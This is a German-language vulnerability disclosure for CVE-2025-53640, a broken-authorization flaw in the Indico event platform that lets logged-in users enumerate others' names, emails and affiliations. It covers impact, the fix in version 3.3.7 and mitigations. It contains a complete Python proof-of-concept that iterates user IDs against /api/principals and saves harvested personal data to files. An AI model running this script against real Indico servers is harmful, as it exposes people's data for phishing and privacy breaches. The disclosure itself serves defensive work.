
Broken Object Level Authorization (BOLA) in CERNs Indico führt zur Aufzählung authentifizierter Benutzer.
PoC und technische Analyse von CVE-2025-53640: Eine Broken-Object-Level-Authorization-Schwachstelle (BOLA) in Indico ermöglicht authentifizierte Benutzerenumeration über einen Endpoint und legt Namen, E-Mails und Zugehörigkeiten offen. Enthält Exploit-Skript, Anforderungsanalyse und Screenshots. Betrifft weltweit eingesetzte Indico-Instanzen (Europäische Organisation für Kernforschung (CERN), Vereinte Nationen (UN), Massachusetts Institute of Technology (MIT), Europäische Weltraumorganisation (ESA) u. a.).
Eine Broken-Object-Level-Authorization-Schwachstelle (BOLA) in der Open-Source-Anwendung Indico ermöglicht eine massenhafte Benutzerenumeration über den Endpoint.
Der Endpoint, ursprünglich dazu gedacht, Benutzer-IDs in bestimmten Formularfeldern aufzulösen, kann missbraucht werden, um persönliche Details jeder gültigen Benutzer-ID abzurufen:
Vollständiger Name
E-Mail-Adresse
Titel
Zugehörigkeit
Avatar-URL
Die Schwachstelle wurde von den Maintainern von Indico gemeldet und bestätigt und wird offiziell als CVE-2025-53640 geführt.
Eine gültige authentifizierte Sitzung ist erforderlich.
Die meisten öffentlichen Indico-Instanzen erlauben jedoch eine Selbstregistrierung ohne E-Mail-Verifizierung, CAPTCHA oder manuelle Freigabe.
Dadurch ist die Schwachstelle nach trivialer Kontenerstellung praktisch von nicht authentifizierten Benutzern ausnutzbar.
Indico ist eine weit verbreitete Plattform für Veranstaltungs- und Konferenzmanagement, die von CERN (Europäische Organisation für Kernforschung) entwickelt wurde und weltweit die akademische und institutionelle Infrastruktur unterstützt:
CERN (Europäische Organisation für Kernforschung): Über 900.000 Veranstaltungen jährlich; täglich mehr als 200 gebuchte Räume.
Weltweit: Etwa 145.000 Veranstaltungen pro Jahr an über 300 Einrichtungen.
UN (Vereinte Nationen): Über 180.000 Teilnehmer pro Jahr.
UNOG (Büro der Vereinten Nationen in Genf): Bis zu 700.000 Benutzer pro Jahr.
Wird umfassend von Universitäten, Laboren, Forschungsinstituten und Regierungsbehörden genutzt.
Beispiele betroffener öffentlicher Instanzen:
Aufgrund der weiten Verbreitung in wissenschaftlichen, akademischen und staatlichen Umgebungen birgt diese Schwachstelle ernste Risiken:
Offenlegung von Identitäten von Forschern, Mitarbeitern und Administratoren
Datenschutzverstöße in großem Umfang und Offenlegung institutioneller Verzeichnisse
Gezielte Aufklärung für Phishing oder Social Engineering
Mögliche Gefährdung sensibler Forschungs- und Politikinitiativen
Offenlegung personenbezogener Daten (PII)
Aufzählung von Benutzern mit hohen Privilegien (Administratoren, Organisatoren)
Unterstützt Massen-Phishing und Spear-Phishing-Angriffe
Verstößt gegen Vorschriften wie die DSGVO, LGPD und interne institutionelle Richtlinien
Kann je nach Rechtsgebiet eine meldepflichtige Verletzung darstellen
Das Problem wurde in Indico v3.3.7 behoben.
Laut den Maintainern wurde das Verhalten des Endpoints angepasst, um das massenhafte Auslesen von Benutzerdaten (Name, Zugehörigkeit und E-Mail) über vorhersehbare IDs zu verhindern. Zudem wurde ein neues Konfigurationsflag ALLOW_PUBLIC_USER_SEARCH eingeführt.
Weitere Abschwächungsmaßnahmen umfassen:
Einschränkung der E-Mail-Prüfungen bei der Registrierung
Deaktivierung der Auflösung von Personenlinks, wenn die öffentliche Suche deaktiviert ist
Hinzufügen von UI-Warnungen für Veranstaltungen ohne ACL bei eingeschränkter Suche
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Zugriff auf den Endpoint basierend auf Rolle oder Kontext einschränken
ALLOW_PUBLIC_USER_SEARCH = false in indico.conf setzen
Offengelegte Benutzerfelder auf das Notwendige beschränken
Selbstregistrierung deaktivieren oder einschränken (z. B. E-Mail-Verifizierung, Administratorfreigabe)
Überwachung und Rate-Limiting für den Endpoint aktivieren
Sofort auf Indico 3.3.7 oder neuer aktualisieren
Zugriffsprotokolle auf Enumeration-Muster überwachen
Offizielle ID: CVE-2025-53640
Diese Schwachstelle wurde während einer Sicherheitsbewertung entdeckt, die im Rahmen des Red Team Residency Program bei RNP (Rede Nacional de Ensino e Pesquisa – Brasilien) durchgeführt wurde.
Alle Forschungs- und Testarbeiten wurden mit vorheriger Genehmigung und Aufsicht durchgeführt. Besonderer Dank gilt dem RNP Security Team für die ethische Begleitung und die Unterstützung bei der Infrastruktur.
Diese CVE unterstreicht, wie wichtig die Durchsetzung strenger Zugriffskontrolle auf Objektebene in Plattformen ist, die sensible institutionelle Daten verwalten.